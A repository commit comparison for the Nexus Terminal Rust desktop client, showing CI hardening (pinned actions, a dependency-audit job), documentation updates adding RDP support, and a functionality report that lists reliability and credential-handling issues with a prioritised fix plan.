Compare commits
32
Commits
rust-port
...
audit-fixes
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d25746bb14 | ||
|
|
50c0104d57 | ||
|
|
6a4d7381d9 | ||
|
|
4bd12bfb03 | ||
|
|
9ebfe57301 | ||
|
|
88c5cca021 | ||
|
|
d68343365b | ||
|
|
672c71e26f | ||
|
|
2e11d40034 | ||
|
|
0d0b3a7c75 | ||
|
|
c6ee9a8f36 | ||
|
|
65558d82d1 | ||
|
|
10f93271cf | ||
|
|
954bf25dc0 | ||
|
|
b325097602 | ||
|
|
bd1dc54e20 | ||
|
|
3b490fa6c3 | ||
|
|
3843351365 | ||
|
|
4d6595588b | ||
|
|
f09300fd95 | ||
|
|
afec95bb36 | ||
|
|
741ee2ec5b | ||
|
|
534310b56d | ||
|
|
764208727c | ||
|
|
082c0f8fa7 | ||
|
|
33b17223aa | ||
|
|
4b5ffe8e5e | ||
|
|
17a5b4fbb5 | ||
|
|
55a8295de7 | ||
|
|
aac986d78b | ||
|
|
0a18f7e578 | ||
|
|
9cf221779b |
@@ -5,6 +5,9 @@ on:
|
|||||||
branches: ["**"]
|
branches: ["**"]
|
||||||
pull_request:
|
pull_request:
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: read
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
test:
|
test:
|
||||||
name: Test (${{ matrix.os }})
|
name: Test (${{ matrix.os }})
|
||||||
@@ -18,7 +21,7 @@ jobs:
|
|||||||
shell: bash
|
shell: bash
|
||||||
working-directory: rust
|
working-directory: rust
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
|
||||||
- name: Linux dependencies (GUI libs, and sshd for the SSH integration tests)
|
- name: Linux dependencies (GUI libs, and sshd for the SSH integration tests)
|
||||||
if: runner.os == 'Linux'
|
if: runner.os == 'Linux'
|
||||||
run: |
|
run: |
|
||||||
@@ -27,3 +30,15 @@ jobs:
|
|||||||
- run: cargo test --locked --workspace
|
- run: cargo test --locked --workspace
|
||||||
- run: cargo fmt --all --check
|
- run: cargo fmt --all --check
|
||||||
- run: cargo clippy --locked --workspace --all-targets -- -D warnings
|
- run: cargo clippy --locked --workspace --all-targets -- -D warnings
|
||||||
|
|
||||||
|
audit:
|
||||||
|
name: Dependency audit
|
||||||
|
runs-on: ubuntu-22.04
|
||||||
|
defaults:
|
||||||
|
run:
|
||||||
|
working-directory: rust
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
|
||||||
|
- run: cargo install cargo-audit --locked
|
||||||
|
# Ignored advisories and their reasons live in rust/.cargo/audit.toml.
|
||||||
|
- run: cargo audit
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ jobs:
|
|||||||
shell: bash
|
shell: bash
|
||||||
working-directory: rust
|
working-directory: rust
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
|
||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
|
|
||||||
@@ -51,7 +51,7 @@ jobs:
|
|||||||
run: ./release.sh
|
run: ./release.sh
|
||||||
|
|
||||||
- name: Upload artefacts
|
- name: Upload artefacts
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
|
||||||
with:
|
with:
|
||||||
name: nexus-terminal-${{ matrix.runner }}
|
name: nexus-terminal-${{ matrix.runner }}
|
||||||
path: |
|
path: |
|
||||||
@@ -61,6 +61,6 @@ jobs:
|
|||||||
|
|
||||||
- name: Attach to GitHub Release
|
- name: Attach to GitHub Release
|
||||||
if: startsWith(github.ref, 'refs/tags/')
|
if: startsWith(github.ref, 'refs/tags/')
|
||||||
uses: softprops/action-gh-release@v2
|
uses: softprops/action-gh-release@3bb12739c298aeb8a4eeaf626c5b8d85266b0e65 # v2.6.2
|
||||||
with:
|
with:
|
||||||
files: build/releases/*/NexusTerminal-*.zip
|
files: build/releases/*/NexusTerminal-*.zip
|
||||||
|
|||||||
@@ -1,17 +1,17 @@
|
|||||||
# Nexus Terminal
|
# Nexus Terminal
|
||||||
|
|
||||||
**A native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminals — with secure credential handling and a focused, multi-session workflow.**
|
**A native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local terminals — with secure credential handling and a focused, multi-session workflow.**
|
||||||
|
|
||||||
Nexus Terminal helps you manage many connections at once, keep terminal work organised, and move files with confidence. It is a single Rust application with no webview, so it starts quickly and stays responsive under heavy terminal output.
|
Nexus Terminal helps you manage many connections at once, keep terminal work organised, and move files with confidence. It is a single Rust application with no webview, so it starts quickly and stays responsive under heavy terminal output.
|
||||||
|
|
||||||
## Highlights
|
## Highlights
|
||||||
|
|
||||||
- SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminal sessions in one app
|
- SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local terminal sessions in one app
|
||||||
- Tabbed sessions with split panes, pinning and drag-to-reorder
|
- Tabbed sessions with split panes, pinning and drag-to-reorder
|
||||||
- SFTP browser with drag-and-drop uploads and a permission-aware directory picker
|
- SFTP browser with drag-and-drop uploads and a permission-aware directory picker
|
||||||
- SSH jump hosts, SOCKS5/HTTP proxies, local and remote port forwards, agent forwarding and TOTP auto-fill
|
- SSH jump hosts, SOCKS5/HTTP proxies, local and remote port forwards, agent forwarding and TOTP auto-fill
|
||||||
- Serial consoles with full line settings (baud, data bits, parity, stop bits, flow control)
|
- Serial consoles with full line settings (baud, data bits, parity, stop bits, flow control)
|
||||||
- Native VNC viewer, optionally tunnelled over SSH
|
- Native VNC and RDP viewers; RDP with NLA, certificate pinning, and SOCKS5/HTTP proxy or SSH tunnel routes
|
||||||
- Disconnected overlay with one-click reconnect, and auto-reconnect with backoff
|
- Disconnected overlay with one-click reconnect, and auto-reconnect with backoff
|
||||||
- Broadcast input, snippets, trigger rules and terminal search
|
- Broadcast input, snippets, trigger rules and terminal search
|
||||||
- Session recording (asciicast v2) and playback
|
- Session recording (asciicast v2) and playback
|
||||||
@@ -27,10 +27,6 @@ Prefer a one-off session? Use **Cmd+Shift+Q** / **Ctrl+Shift+Q** to quick connec
|
|||||||
|
|
||||||
If a session drops, use the **Reconnect** button in the disconnected overlay.
|
If a session drops, use the **Reconnect** button in the disconnected overlay.
|
||||||
|
|
||||||
### Coming from Alchementary Link?
|
|
||||||
|
|
||||||
On first run, Nexus Terminal copies your Alchementary Link profiles, encrypted vault and recordings into its own data directory, and picks up credentials saved in the OS keychain. The old data is left untouched. Older `.link` export files can still be imported.
|
|
||||||
|
|
||||||
## Documentation
|
## Documentation
|
||||||
|
|
||||||
- Product overview: [docs/overview.md](docs/overview.md)
|
- Product overview: [docs/overview.md](docs/overview.md)
|
||||||
|
|||||||
@@ -0,0 +1,139 @@
|
|||||||
|
# Functionality and Next Steps Report
|
||||||
|
|
||||||
|
**Project:** Nexus Terminal — Rust port (`rust/` workspace)
|
||||||
|
**Branch / base commit:** `rust-port` @ `8766846` (after this run: `aac986d`)
|
||||||
|
**Date:** 2026-10-12 07:23 (local)
|
||||||
|
**Companion:** `audits/20261012-0723-securityAudit.md` (SEC-20261012-NNN references below)
|
||||||
|
|
||||||
|
## 1. Executive Summary
|
||||||
|
|
||||||
|
The port is functionally complete relative to the Go/Wails app and is in good shape: the core crate is cleanly separated from the UI, every protocol client follows one lifecycle contract (blocking connect, own reader thread, `on_close` exactly once), the test suite (142 tests) exercises real sockets, a real `sshd`, PTYs and fake IRC/VNC/GitHub servers, and `clippy -D warnings` is clean.
|
||||||
|
|
||||||
|
The highest-impact improvements now are reliability and user-experience rather than new protocols:
|
||||||
|
|
||||||
|
1. **Credential UX** — a mistyped “saved” password is persisted before it is verified and then blocks every reconnect with no re-prompt (SEC-015); store failures are silent.
|
||||||
|
2. **Resilience** — a panic on any worker thread poisons shared mutexes and takes the whole app down (`lock().unwrap()` everywhere); there is no panic hook, no crash message and no recovery of open sessions.
|
||||||
|
3. **Product/privacy switches** — update checks, remote clipboard writes and multi-line paste all happen without a preference or notice.
|
||||||
|
4. **Operability** — recording metadata, audit-log growth and the IRC state model scale poorly with long-running use.
|
||||||
|
5. **Developer experience** — fuzz targets, a CI audit step and a documented `cargo clean` note after moving the checkout would have saved time in this run.
|
||||||
|
|
||||||
|
## 2. Current Functional Risks
|
||||||
|
|
||||||
|
| # | Risk | Where | Effect on users |
|
||||||
|
|---|---|---|---|
|
||||||
|
| F1 | Saved credential stored before auth succeeds; no path to replace it on failure other than editing the profile | `core/src/sessions.rs` `secret_fn` | Typo → every connect fails silently with the wrong saved password |
|
||||||
|
| F2 | `Secrets::set` swallows errors (`let _ =`) | `core/src/secrets.rs` | “Save securely” silently doesn't save when the keychain refuses and the vault is locked |
|
||||||
|
| F3 | Mutex poisoning: ~60 `lock().unwrap()` sites; any panic in a callback thread (e.g. a decoder bug) crashes the UI on the next lock | `sessions.rs`, `app.rs`, clients | One bad session kills all sessions, recordings stop mid-write |
|
||||||
|
| F4 | No panic hook / crash dialog; `eframe` aborts silently | `app/src/main.rs` | Users see the window vanish with no explanation |
|
||||||
|
| F5 | Quick Connect (SSH) allows an empty username; connection then fails at auth with an opaque server error | `app/src/quick_connect.rs`, `service.rs` `connect_quick` (unvalidated) | Confusing failure |
|
||||||
|
| F6 | `import_ssh_config` writes profiles without `validate_profile` (e.g. empty `User`) | `core/src/service.rs` | Profiles that fail validation when later edited |
|
||||||
|
| F7 | Unknown enum value in a stored JSON column (`hostKeyPolicy`, `lineEnding`, …) makes `parse_col` return `None`; the profile silently reverts that protocol's config to defaults | `core/src/storage.rs` `parse_col` | Lost settings after a downgrade/edit with a newer app |
|
||||||
|
| F8 | Empty vault accepts any master password; a typo on first use creates entries under the wrong key (SEC-016) | `core/src/secrets.rs` | Unrecoverable secrets |
|
||||||
|
| F9 | Recording listing reads every `.cast` fully (up to 250 MiB each) on the UI's worker thread (SEC-020) | `core/src/recording.rs` `read_meta` | Recordings window stalls with large files |
|
||||||
|
| F10 | macOS `capture_cwd` runs `/usr/sbin/lsof` on every Enter in a local shell | `core/src/clients/local.rs` | Noticeable latency on macOS local tabs |
|
||||||
|
| F11 | Keychain probe writes and deletes an item at every launch | `core/src/secrets.rs` `Keychain::available` | Keychain prompts/noise on macOS; D-Bus wake-ups on Linux |
|
||||||
|
| F12 | Keychain legacy read-through copies `AlchementaryLink` items forward on every miss | `Keychain::get` | Repeated writes for keys that only exist in the legacy service |
|
||||||
|
| F13 | GitHub refresh performs up to 5000 commit lookups every refresh interval with 5 threads | `core/src/clients/github.rs` | Token rate-limit exhaustion; 403s surface as “auth failed” |
|
||||||
|
| F14 | IRC: channels/users tracked for any JOIN/NAMES seen, UI targets created for any sender (SEC-014) | `irc.rs`, `irc_view.rs` | Memory growth on busy networks |
|
||||||
|
| F15 | `check_github` in `updater.rs` is unused (dead code) and hardcodes an owner/repo that may not exist | `core/src/updater.rs` | Misleading; GitHub fallback never runs |
|
||||||
|
| F16 | Update check at every launch, no preference, docs say opt-in (SEC-013) | `app/src/app.rs` | Privacy expectation mismatch |
|
||||||
|
| F17 | Audit log has no cap/rotation | `storage.rs` `add_audit` | DB grows indefinitely |
|
||||||
|
| F18 | Stale `target/` after moving the checkout bakes old `CARGO_MANIFEST_DIR` into fixture tests (4 failures until `cargo clean`) | build hygiene | Confusing CI-vs-local mismatch |
|
||||||
|
| F19 | `Secrets::delete_profile` relies on a static list of kinds (`PROFILE_SECRET_KINDS`); the profile editor and session manager still use string literals for kinds | `secrets.rs`, `profile_editor.rs`, `sessions.rs` | A new kind added in one place is missed by the purge |
|
||||||
|
| F20 | Reconnect credential prompt timeout is 60 s vs 300 s on first connect | `sessions.rs` `schedule_reconnect` | Reconnects fail if the user is away briefly |
|
||||||
|
|
||||||
|
## 3. Code Quality Improvements
|
||||||
|
|
||||||
|
- **Secret kinds as a type**: replace the `&'static str` kinds (`"password"`, `"github-token"`, `"vnc-ssh-passphrase"`, …) scattered across `sessions.rs`, `profile_editor.rs` and `secrets.rs` with an enum (`SecretKind`) that has `as_str()` and `ALL`. Why: F19 and SEC-001 depend on the list staying complete. Safe step: enum + `From<&str>`; keep the string form for storage keys.
|
||||||
|
- **Poison-tolerant locking**: introduce a small `fn lock<T>(m: &Mutex<T>) -> MutexGuard<T>` that recovers from poisoning (`unwrap_or_else(|e| e.into_inner())`, as `irc.rs`/`vnc.rs` already do) and use it in `sessions.rs`, `ssh.rs`, `app.rs`. Why: F3. Mechanical refactor; existing tests cover behaviour.
|
||||||
|
- **Panic hook**: install `std::panic::set_hook` in `main.rs` that logs the payload (no locals) and posts a toast via `post_error`; keep worker panics from killing the UI. Why: F4.
|
||||||
|
- **`parse_col` should not swallow errors**: log the parse error and keep the raw JSON (or surface a toast once) instead of returning `None`. Why: F7. Add `#[serde(other)]` variants to the enums so unknown values map to a named `Unknown` instead of failing the whole struct.
|
||||||
|
- **`sessions.rs` (1 300 lines)**: split per-protocol connect functions (`connect_ssh/irc/vnc/github`) and the reconnect state machine into modules; the file is the hardest to test in isolation. Behaviour-preserving move; `tests/sessions.rs` guards it.
|
||||||
|
- **Thread-per-event**: `on_close` spawns a thread per close and each connect spawns one; fine for a desktop app but makes ordering hard to reason about. Consider one `std::sync::mpsc` worker for lifecycle events.
|
||||||
|
- **Duplicated defaults**: `Profile::new`, `Profile::normalize`, `profile_editor::prep` and `SshConfig::defaults` each know the default port/keepalive/retry values. Centralise in `models.rs` constants (already partly done) and have `prep` call `normalize`.
|
||||||
|
- **`run_command("pwd")`** is the only use of exec for state; SFTP `realpath(".")` already gives the home — consider dropping the shell call to avoid shells that print banners.
|
||||||
|
- **`Keychain::available` probe**: cache the result in preferences with a timestamp; re-probe weekly or on explicit request. Why: F11.
|
||||||
|
- **Dead code**: `updater::check_github`, `Protocol::Local` branches in validation (`unsupported protocol`). Remove or wire up.
|
||||||
|
- **`Store::migrate`**: wrap each migration in a transaction and record `schema_version` explicitly in code rather than relying on the SQL files to insert it (verify each file does).
|
||||||
|
|
||||||
|
## 4. Frontend Interaction and Error-Handling Improvements
|
||||||
|
|
||||||
|
The UI is native egui; the equivalent of “event firing / async failures / console diagnostics” was reviewed:
|
||||||
|
|
||||||
|
- **Async failures surface**: every worker reports through `Job`, `Inbox`, `post_error` or `Shared::spawn`; the pattern is consistent. Gap: `Secrets::set` (F2) and `let _ = self.store.update_profile(&p)` in `connect_profile` discard errors — toast them.
|
||||||
|
- **Modal keyboard handling**: `prompts()` and `dialogs()` read `Key::Enter`/`Escape` globally; with two modals stacked (a credential prompt while the Delete dialog is open) one key can act on both. Route keys only to the top-most modal (check `app.prompts.is_empty()` before dialogs read Enter).
|
||||||
|
- **Credential prompt**: show which credential kind and profile; add “Save this credential” checkbox when the profile is in ask-every-time mode; after an auth failure with a saved secret, offer “Re-enter”.
|
||||||
|
- **Host-key prompt**: offer “Copy fingerprint” and show the port; on key change, show both fingerprints side by side with a “Remove old key” action (today the user must go to Settings → Known Hosts).
|
||||||
|
- **Clipboard from remote** (SEC-010): toast with the first line whenever OSC 52 or VNC sets the clipboard; preference to disable.
|
||||||
|
- **Multi-line paste** (SEC-017): confirmation preview when the terminal is not in bracketed-paste mode.
|
||||||
|
- **Transfers**: SFTP upload stops at the first failure and drops the rest of the queue (by design) — show which files were skipped.
|
||||||
|
- **Console diagnostics**: adopt `tracing` with `RUST_LOG` support for connection lifecycle (host, protocol, state, error) — never credentials, never terminal data; today only `eprintln!` for CLI misuse exists.
|
||||||
|
- **Crash fallback** (F4): panic hook + “Nexus Terminal hit an internal error; sessions were kept open where possible” dialog.
|
||||||
|
- **Screenshot automation flags** (`--answer`): read from `NEXUS_ANSWERS` env/file instead of argv (SEC-018) and print a warning when used without `--screenshot`.
|
||||||
|
|
||||||
|
## 5. Testing Roadmap
|
||||||
|
|
||||||
|
- **Unit**: `secret_fn` ordering (store after success), `Vault` verifier (once added), `parse_col` unknown-enum behaviour, IRC state caps, `read_meta` tail parsing, `export_json` redaction of login-script sends.
|
||||||
|
- **Integration**: extend `tests/ssh_integration.rs` with password + keyboard-interactive auth (sshd with `PasswordAuthentication yes` and a PAM-less test user is awkward; alternatively a russh server fixture), host-key change detection against the known-hosts table, remote forward teardown, SFTP rename/mkdir/remove.
|
||||||
|
- **Abuse-case / fuzz**: `cargo-fuzz` targets for `vnc::read_update` (+ decoders), `telnet::Inner::process`, `irc::parse_line` + `ircformat::format_event`, `recording::Store::get`, `sshconfig::parse`, `updater::parse_manifest`. Run in CI nightly with a corpus from the existing fake-server tests.
|
||||||
|
- **UI interaction**: the `--screenshot --do --answer` automation already drives the app headlessly; turn it into a smoke test matrix in CI (connect to the in-test sshd, open SFTP, run a palette command, assert the PNG is non-empty and the process exits 0).
|
||||||
|
- **Regression**: keep the Go-fixture compatibility tests; add a fixture written by *this* version so future format changes are caught both ways.
|
||||||
|
- **Load**: the ignored `perf::feed_throughput` test (50 MiB through the VT parser) should run in release mode in CI with a threshold; add a VNC decode benchmark on a synthetic 4K frame.
|
||||||
|
- **Smoke**: `cargo audit` and `cargo deny check licenses advisories` jobs; `cargo test --locked` already runs on three OSes.
|
||||||
|
|
||||||
|
## 6. Recommended New Functionality
|
||||||
|
|
||||||
|
- **Preferences**: check-for-updates on/off (SEC-013), allow remote clipboard writes (SEC-010), confirm multi-line paste (SEC-017), confirm before `insecure` host-key policy connects.
|
||||||
|
- **Credential management**: a Settings → Credentials page listing stored kinds per profile with “forget” buttons; master-password change (re-encrypt vault); export/import of the vault.
|
||||||
|
- **Known hosts**: import from `~/.ssh/known_hosts` and export to it; SSH certificate CA trust (`@cert-authority`) since russh already parses certificates.
|
||||||
|
- **Update integrity**: signed manifest (minisign/Ed25519), verified before display; optional in-app download with sha256 + signature check.
|
||||||
|
- **IRC**: SASL PLAIN/EXTERNAL (modern networks reject NickServ IDENTIFY over plaintext), IRCv3 message tags for timestamps, per-network ISUPPORT line length.
|
||||||
|
- **Serial**: session logging to file, hex view like RAW, break duration setting.
|
||||||
|
- **SFTP**: recursive directory upload/download, drag-out to the desktop, resume on reconnect.
|
||||||
|
- **Session**: “Send to all tabs in group”, per-session environment overrides for local shells, custom shell arguments.
|
||||||
|
- **Operability**: audit-log viewer with cap/rotation; recordings metadata cache; “Diagnostics” page (keychain status, data dir, versions of russh/rustls, last update check).
|
||||||
|
|
||||||
|
## 7. Next-Level Opportunities
|
||||||
|
|
||||||
|
- **Observability**: `tracing` + optional file log with redaction; connection timing metrics in the status bar; opt-in crash reports (local file only).
|
||||||
|
- **Resilience architecture**: supervisor-style session threads that catch panics per session (`std::panic::catch_unwind` around client callbacks) so one protocol bug cannot end the app.
|
||||||
|
- **Security architecture**: move all secret-bearing fields out of `Profile` into the secret store behind a migration (keeps `.nexus` compatibility by exporting them inline only when “include secrets” is chosen); `Zeroizing`/`SecretString` throughout; Linux `PR_SET_DUMPABLE` while the vault is unlocked.
|
||||||
|
- **Distribution**: signed, notarised builds; Flatpak/AppImage with sandboxing (`--filesystem=home:ro` + explicit `~/.ssh`), winget/Homebrew casks; SLSA provenance from the release workflow.
|
||||||
|
- **Performance**: VNC — upload only dirty rows to the texture (`TextureHandle::set_partial`), decode JPEG on the I/O thread (already) but avoid the full `local.clone()` on resize; terminal — batch paint runs per style (already) and cache galleys per row.
|
||||||
|
- **Accessibility**: egui `accesskit` is enabled; audit focus order in modals and provide screen-reader labels for icon-only buttons (`widgets::icon_button` has hover text only).
|
||||||
|
- **Developer experience**: `justfile`/`make` targets for `test`, `clippy`, `audit`, `screenshot-smoke`; a `CONTRIBUTING.md` note about `cargo clean` after moving the checkout (F18); fuzz corpus checked in.
|
||||||
|
|
||||||
|
## 8. Prioritised Action Plan
|
||||||
|
|
||||||
|
**Immediate (this week)** — low risk, high value
|
||||||
|
- Add the three preferences (update check, remote clipboard, paste confirmation) with safe defaults. Risk: trivial.
|
||||||
|
- Toast on `Secrets::set` failure; store saved credentials after auth success (F1/F2). Risk: touches the auth path; covered by sshd tests — add a keyboard-interactive case.
|
||||||
|
- Poison-tolerant lock helper + panic hook (F3/F4). Risk: mechanical.
|
||||||
|
- Add `cargo audit` to CI with SEC-012 ignored and dated (outside `rust/`, owner's call).
|
||||||
|
|
||||||
|
**Short term (next release)**
|
||||||
|
- IRC state caps and joined-only tracking (F14).
|
||||||
|
- `parse_col` error visibility and `Unknown` enum variants (F7).
|
||||||
|
- Vault verifier entry (F8); keychain probe caching (F11).
|
||||||
|
- Known-hosts import/export; host-key change dialog improvements.
|
||||||
|
- Recording metadata from file tail (F9).
|
||||||
|
|
||||||
|
**Medium term**
|
||||||
|
- Secret-kind enum and credential management page (F19).
|
||||||
|
- Fuzz targets + nightly job; screenshot smoke matrix.
|
||||||
|
- Signed update manifest; release signing.
|
||||||
|
- SASL for IRC; SFTP recursive transfers.
|
||||||
|
|
||||||
|
**Long term**
|
||||||
|
- Move profile-embedded secrets into the store with migration; `SecretString` everywhere.
|
||||||
|
- Per-session panic isolation; `tracing`-based diagnostics.
|
||||||
|
- Sandboxed distribution and provenance.
|
||||||
|
|
||||||
|
## 9. Caveats and Validation Needed
|
||||||
|
|
||||||
|
- Keychain behaviour (purge on delete, probe cost, legacy copy-forward) was verified by reading `keyring` usage, not by running against macOS Keychain, Windows Credential Manager or a live Secret Service; test on each OS before release.
|
||||||
|
- The in-process key generator (`ssh::generate_key_pair`) was tested for Ed25519 and ECDSA; RSA generation runs the `rsa` crate's keygen (slow in debug builds — verify the UI stays responsive and that OpenSSH accepts the files on all three platforms).
|
||||||
|
- `--data-dir` now creates directories 0700; if any user relies on sharing a portable data directory between accounts this changes behaviour.
|
||||||
|
- The VNC size cap (64 Mpx) is above any real display; confirm with multi-monitor spanning setups (e.g. 3×4K = 37 Mpx) before lowering it.
|
||||||
|
- Preference defaults for update checks and remote clipboard are product decisions; both have compatibility implications (vim/tmux yank over SSH relies on OSC 52).
|
||||||
|
- UI event flows were validated by code review and the existing automation flags, not by an interactive run in this environment.
|
||||||
File diff suppressed because it is too large
Load Diff
+15
-6
@@ -1,6 +1,6 @@
|
|||||||
# Nexus Terminal Overview
|
# Nexus Terminal Overview
|
||||||
|
|
||||||
Nexus Terminal is a native desktop connection workspace for people who manage servers, network services, serial devices, remote desktops, chat networks and repositories every day. It brings SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local shell sessions into one focused app with secure credential handling, multi-session organisation, file transfer, automation and recording built in.
|
Nexus Terminal is a native desktop connection workspace for people who manage servers, network services, serial devices, remote desktops, chat networks and repositories every day. It brings SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local shell sessions into one focused app with secure credential handling, multi-session organisation, file transfer, automation and recording built in.
|
||||||
|
|
||||||
It is a single Rust application drawn with egui: there is no webview, no bundled browser engine and no runtime to install. Terminal output goes straight from the network into the terminal emulator, so large outputs stay responsive.
|
It is a single Rust application drawn with egui: there is no webview, no bundled browser engine and no runtime to install. Terminal output goes straight from the network into the terminal emulator, so large outputs stay responsive.
|
||||||
|
|
||||||
@@ -25,7 +25,7 @@ Use Nexus Terminal when you need to:
|
|||||||
- **Telnet** for legacy devices and services.
|
- **Telnet** for legacy devices and services.
|
||||||
- **RAW TCP** for direct socket interaction, protocol testing and device troubleshooting.
|
- **RAW TCP** for direct socket interaction, protocol testing and device troubleshooting.
|
||||||
- **Serial** for USB-serial adapters, console cables, development boards and network gear.
|
- **Serial** for USB-serial adapters, console cables, development boards and network gear.
|
||||||
- **VNC** for remote desktop access, with a native viewer.
|
- **VNC** and **RDP** for remote desktop access, with native viewers.
|
||||||
- **IRC** for chat networks, with rooms, users and an optional SSH tunnel.
|
- **IRC** for chat networks, with rooms, users and an optional SSH tunnel.
|
||||||
- **GitHub** for repository browsing and download workflows.
|
- **GitHub** for repository browsing and download workflows.
|
||||||
- **Local terminal** for opening a shell on the local machine.
|
- **Local terminal** for opening a shell on the local machine.
|
||||||
@@ -41,7 +41,7 @@ Use Nexus Terminal when you need to:
|
|||||||
- Multi-select profiles with Ctrl/Cmd-click for bulk connect, disconnect, tagging, moving between groups and deleting.
|
- Multi-select profiles with Ctrl/Cmd-click for bulk connect, disconnect, tagging, moving between groups and deleting.
|
||||||
- Test basic host and port reachability before connecting.
|
- Test basic host and port reachability before connecting.
|
||||||
- Import existing OpenSSH config entries from `~/.ssh/config`, including hostnames, usernames, ports, identity files and jump hosts.
|
- Import existing OpenSSH config entries from `~/.ssh/config`, including hostnames, usernames, ports, identity files and jump hosts.
|
||||||
- Export and import profiles using encrypted `.nexus` bundles; older `.link` bundles from Alchementary Link import too.
|
- Export and import profiles using encrypted `.nexus` bundles.
|
||||||
- Plain JSON export and import, with secrets redacted unless you choose to include them.
|
- Plain JSON export and import, with secrets redacted unless you choose to include them.
|
||||||
- Choose import behaviour for duplicates: skip, overwrite or duplicate.
|
- Choose import behaviour for duplicates: skip, overwrite or duplicate.
|
||||||
|
|
||||||
@@ -140,6 +140,15 @@ Use Nexus Terminal when you need to:
|
|||||||
- Clear hints for permission-denied and busy ports.
|
- Clear hints for permission-denied and busy ports.
|
||||||
- Works with everything a terminal session supports: recording, triggers, broadcast, snippets, find and split panes.
|
- Works with everything a terminal session supports: recording, triggers, broadcast, snippets, find and split panes.
|
||||||
|
|
||||||
|
### RDP capabilities
|
||||||
|
|
||||||
|
- Native RDP viewer (IronRDP) with Network Level Authentication (CredSSP/NTLM) and optional TLS-only logon for servers such as xrdp.
|
||||||
|
- Server certificate pinned by fingerprint in Known Hosts, checked before credentials are sent.
|
||||||
|
- Direct, SOCKS5, HTTP CONNECT or SSH-tunnelled connections.
|
||||||
|
- Scale-to-fit or 1:1, a fixed resolution or one that follows the tab (Display Control).
|
||||||
|
- Keyboard (scancodes for keys and shortcuts, Unicode for text), mouse and wheel; Ctrl+Alt+Del; type the clipboard into the session.
|
||||||
|
- Password storage modes and domain logon.
|
||||||
|
|
||||||
### VNC capabilities
|
### VNC capabilities
|
||||||
|
|
||||||
- Native VNC viewer inside the Nexus Terminal workspace (RFB 3.3–3.8; Raw, CopyRect, Hextile, ZRLE and Tight encodings).
|
- Native VNC viewer inside the Nexus Terminal workspace (RFB 3.3–3.8; Raw, CopyRect, Hextile, ZRLE and Tight encodings).
|
||||||
@@ -217,7 +226,7 @@ Use Nexus Terminal when you need to:
|
|||||||
- Secret store settings.
|
- Secret store settings.
|
||||||
- Known hosts management.
|
- Known hosts management.
|
||||||
- Help topics and troubleshooting inside Settings.
|
- Help topics and troubleshooting inside Settings.
|
||||||
- A background update check at launch, and a manual check in Settings → About.
|
- A background update check at launch (can be turned off in Settings → General), and a manual check in Settings → About.
|
||||||
|
|
||||||
## Website-ready summary
|
## Website-ready summary
|
||||||
|
|
||||||
@@ -227,7 +236,7 @@ Nexus Terminal: one native desktop workspace for SSH, files, sockets, serial con
|
|||||||
|
|
||||||
### Suggested subheadline
|
### Suggested subheadline
|
||||||
|
|
||||||
Manage SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local shell sessions from a fast tabbed interface with secure credentials, SFTP file transfer, split panes, snippets, recordings and automation built in.
|
Manage SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local shell sessions from a fast tabbed interface with secure credentials, SFTP file transfer, split panes, snippets, recordings and automation built in.
|
||||||
|
|
||||||
### Short product description
|
### Short product description
|
||||||
|
|
||||||
@@ -235,7 +244,7 @@ Nexus Terminal helps developers, operators, support engineers, network and hardw
|
|||||||
|
|
||||||
### Product page feature bullets
|
### Product page feature bullets
|
||||||
|
|
||||||
- All-in-one connection workspace for SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local shells.
|
- All-in-one connection workspace for SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local shells.
|
||||||
- Native and fast: no webview, with a terminal that stays responsive under heavy output.
|
- Native and fast: no webview, with a terminal that stays responsive under heavy output.
|
||||||
- Multi-session interface with tabs, pinned sessions, split panes, reconnect and broadcast input.
|
- Multi-session interface with tabs, pinned sessions, split panes, reconnect and broadcast input.
|
||||||
- Rich SSH support including agent auth and forwarding, TOTP, jump hosts, proxies, port forwarding, startup commands, login scripts and host key policies.
|
- Rich SSH support including agent auth and forwarding, TOTP, jump hosts, proxies, port forwarding, startup commands, login scripts and host key policies.
|
||||||
|
|||||||
+5
-5
@@ -1,6 +1,6 @@
|
|||||||
# Nexus Terminal Quick Start
|
# Nexus Terminal Quick Start
|
||||||
|
|
||||||
Nexus Terminal is a native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminal sessions. This page is a shareable quick start for everyday use.
|
Nexus Terminal is a native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local terminal sessions. This page is a shareable quick start for everyday use.
|
||||||
|
|
||||||
## Get connected in minutes
|
## Get connected in minutes
|
||||||
|
|
||||||
@@ -32,6 +32,10 @@ Create a **Serial** profile, pick the device from the list (click refresh after
|
|||||||
|
|
||||||
Create a **VNC** profile for remote desktop sessions. Use the SSH tunnel option when possible, especially outside trusted networks. Direct VNC is available for isolated or trusted networks, but classic VNC traffic is not encrypted, so Nexus Terminal asks before connecting without a tunnel.
|
Create a **VNC** profile for remote desktop sessions. Use the SSH tunnel option when possible, especially outside trusted networks. Direct VNC is available for isolated or trusted networks, but classic VNC traffic is not encrypted, so Nexus Terminal asks before connecting without a tunnel.
|
||||||
|
|
||||||
|
